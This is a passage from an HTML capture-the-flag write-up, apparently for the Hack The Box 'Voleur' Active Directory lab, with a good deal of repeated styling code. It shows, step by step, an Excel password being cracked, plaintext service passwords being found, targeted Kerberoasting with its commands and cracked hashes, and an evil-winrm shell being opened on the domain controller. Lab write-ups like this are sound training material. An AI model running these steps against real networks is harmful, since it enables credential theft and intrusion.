.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">use IT</span>


<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">drw-rw-rw-          0  Wed Jan 29 19:40:01 2025 .
drw-rw-rw-          0  Fri Jul 25 05:39:59 2025 ..
drw-rw-rw-          0  Wed Jan 29 20:10:17 2025 First-Line Support</span></pre>
  </div>
</div>

<p>The share has a single folder <code class="language-plaintext highlighter-rouge">First-Line Support</code>, which contains an Excel file.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">cd First-Line Support</span>


<span class="custom-prompt" style="color: blue; font-weight: bold;"><span class="custom-path">#</span></span> <span class="custom-cmd">ls</span>

<span class="custom-output">drw-rw-rw-          0  Wed Jan 29 20:10:17 2025 .
drw-rw-rw-          0  Wed Jan 29 19:40:01 2025 ..
-rw-rw-rw-      16896  Fri May 30 07:53:36 2025 Access_Review.xlsx</span></pre>
  </div>
</div>

<p>I downloaded the Excel file and attempted to open it, but it’s password-protected:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/voleur/excel_password_protected.png" alt="" /></p>

<p>When it comes to cracking passwords, <code class="language-plaintext highlighter-rouge">john</code> has a module for almost everything, and Excels are no different. I’ll use <code class="language-plaintext highlighter-rouge">office2john</code> to convert the Excel file into a hash for <code class="language-plaintext highlighter-rouge">john</code> to crack:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">office2john Access_Review.xlsx &gt; excel.hash</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">john --wordlist=/usr/share/wordlists/rockyou.txt excel.hash</span>
<span class="cmd-output">
Using default input encoding: UTF-8
Loaded 1 password hash (Office, 2007/2010/2013 [SHA1 256/256 AVX2 8x / SHA512 256/256 AVX2 4x AES])
Cost 1 (MS Office version) is 2013 for all loaded hashes
Cost 2 (iteration count) is 100000 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<span style="color: lightgreen;">football1        (Access_Review.xlsx)     </span>
1g 0:00:00:01 DONE (2025-07-29 00:27) 0.7142g/s 640.0p/s 640.0c/s 640.0C/s football1..ilovegod
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Within seconds, the hash is cracked to <code class="language-plaintext highlighter-rouge">football1</code>, and can be used to open the file:</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/voleur/excel_content.png" alt="" /></p>

<p>It contains notes for several users, as well as plaintext passwords for <code class="language-plaintext highlighter-rouge">svc_ldap</code>, <code class="language-plaintext highlighter-rouge">svc_iis</code> and <code class="language-plaintext highlighter-rouge">todd.wolfe</code>. On first look, <code class="language-plaintext highlighter-rouge">jeremy.combs</code> appears to be a high value target. It has access to the Software folder, control over the backup account, as well as being in the WinRM group.</p>

<p>The note also mentioned that <code class="language-plaintext highlighter-rouge">todd.wolfe</code> has been deleted, but this is likely not permanent. By default, deleting a user in AD moves the account to the Deleted Objects container (i.e. AD Tombstone) and sets its <code class="language-plaintext highlighter-rouge">isDeleted</code> attribute to <code class="language-plaintext highlighter-rouge">True</code>. It remains there until the tombstone lifetime (180 days by default) expires, after which it’s permanently removed. It’s worth checking if those service accounts can restore deleted objects, as this privilege, along with Todd’s password found in the Excel, provides another path for lateral movement or potentially escalation.</p>

<h3 id="bloodhound">BloodHound:</h3>

<p>BloodHound found 9 users, but returned no information on <code class="language-plaintext highlighter-rouge">todd.wolfe</code>. Both <code class="language-plaintext highlighter-rouge">ryan.naylor</code> and <code class="language-plaintext highlighter-rouge">maria.bryant</code> are in the First-Line Technicians group, and neither have any outbound control.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/voleur/ad_ryan_groups.png" alt="" /></p>

<p>Looking at the service accounts, <code class="language-plaintext highlighter-rouge">svc_ldap</code> has <code class="language-plaintext highlighter-rouge">WriteSPN</code> on <code class="language-plaintext highlighter-rouge">svc_winrm</code> and <code class="language-plaintext highlighter-rouge">GenericWrite</code> on <code class="language-plaintext highlighter-rouge">lacey.miller</code>, both of which enables <a href="https://www.thehacker.recipes/ad/movement/dacl/targeted-kerberoasting">Targeted Kerberoasting</a> attacks.</p>

<p><img src="https://raw.githubusercontent.com/ch3ng625/blog_images/refs/heads/main/voleur/ad_svc_ldap_graph.png" alt="" /></p>

<p>It’s also in a group called <code class="language-plaintext highlighter-rouge">Restore_Users</code>, which likely grants privileges to restore Todd’s account.</p>

<hr />
<h2 id="foothold">Foothold:</h2>
<h3 id="targeted-kerberoasting">Targeted Kerberoasting:</h3>

<p>I’ve already covered Targeted Kerberoasting in the <a href="/administrator#targeted-kerberoasting">Administrator writeup</a>. In short, a Kerberoast attack is to request a service ticket from Kerberos and perform offline cracking, since the returned ticket is encrypted by the target service’s NTLM hash. Normally, this only works against service accounts, as the target must have a Service Principal Name (SPN) set. However, with <code class="language-plaintext highlighter-rouge">GenericWrite</code> and <code class="language-plaintext highlighter-rouge">WriteSPN</code>, I can set the SPN myself, effectively making <code class="language-plaintext highlighter-rouge">svc_winrm</code> and <code class="language-plaintext highlighter-rouge">lacey.miller</code> roastable.</p>

<p>Once again I’ll use <a href="https://github.com/ShutdownRepo/targetedKerberoast">targetedKerberoast.py</a> to obtain the hashes for the two accounts:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-getTGT -dc-ip 10.129.232.130 'voleur.htb/svc_ldap:M1XyC9pW7qT5Vn'</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_ldap.ccache
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">KRB5CCNAME=svc_ldap.ccache python targetedKerberoast.py --dc-ip 10.129.232.130 -v -d voleur.htb --dc-host 'dc.voleur.htb' -u 'svc_ldap' -k --no-pass --request-user svc_winrm -o svc_winrm.hash</span>
<span class="cmd-output">
[*] Starting kerberoast attacks
[*] Attacking user (svc_winrm)
[VERBOSE] SPN added successfully for (svc_winrm)
[+] Writing hash to file for (svc_winrm)
[VERBOSE] SPN removed successfully for (svc_winrm)
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">KRB5CCNAME=svc_ldap.ccache python targetedKerberoast.py --dc-ip 10.129.232.130 -v -d voleur.htb --dc-host 'dc.voleur.htb' -u 'svc_ldap' -k --no-pass --request-user lacey.miller -o lacey.miller.hash</span>
<span class="cmd-output">
[*] Starting kerberoast attacks
[*] Attacking user (lacey.miller)
[VERBOSE] SPN added successfully for (lacey.miller)
[+] Writing hash to file for (lacey.miller)
[VERBOSE] SPN removed successfully for (lacey.miller)
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>Only <code class="language-plaintext highlighter-rouge">svc_winrm</code>’s hash can be cracked:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">john --wordlist=/usr/share/wordlists/rockyou.txt svc_winrm.hash</span>
<span class="cmd-output">
Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
<span style="color: lightgreen;">AFireInsidedeOzarctica980219afi (?)     </span>
1g 0:00:00:03 DONE (2025-08-01 01:49) 0.3058g/s 3508Kp/s 3508Kc/s 3508KC/s AJsupertramp..ADRIANAH
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script></pre>
  </div>
</div>

<p>I’ll request a ticket for <code class="language-plaintext highlighter-rouge">svc_winrm</code>, and use <code class="language-plaintext highlighter-rouge">evil-winrm</code> to get a shell:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-getTGT -dc-ip 10.129.10.190 'voleur.htb/svc_winrm:AFireInsidedeOzarctica980219afi'</span>
<span class="cmd-output">
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies 

[*] Saving ticket in svc_winrm.ccache
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
    el.innerHTML = html.join('');
  });
})();
</script><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/voleur</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">KRB5CCNAME=svc_winrm.ccache evil-winrm -r voleur.htb -i dc.voleur.htb</span>
<span class="cmd-output">
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: undefined method `quoting_detection_proc' for module Reline
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

/* syntax highlight classes applied by JS */
.cmd-bash          { color: #f0e6d3; }
.tok-bin           { color: #57c7ff; }   /* command binary  — cyan       */
.tok-flag          { color: #5af78e; }   /* -x  --long      — green     */
.tok-num           { color: #f0e6d3; }   /* numbers / IPs   — off-white    */
.tok-str           { color: #f3f99d; }   /* "quoted string" — yellow      */
.tok-arg           { color: #f0e6d3; }   /* plain arg       — off-white  */
</style>

<script>
(function () {
  var bins = document.querySelectorAll('.cmd-bash');
  bins.forEach(function (el) {
    var raw = el.textContent;
    var tokens = raw.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
    var first = true;
    var html = tokens.map(function (tok) {
      if (/^\s+$/.test(tok)) return tok;
      var cls;
      if (first)                               { cls = 'tok-bin';  first = false; }
      else if (/^--?[\w-]+/.test(tok))         { cls = 'tok-flag'; }
      else if (/^["']/.test(tok))              { cls = 'tok-str';  }
      else if (/^[\d.]+$/.test(tok))           { cls = 'tok-num';  }
      else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)){ cls = 'tok-num'; }
      else                                     { cls = 'tok-arg';  }
      return '<span class="' + cls + '">' + tok + '</span>';
    });
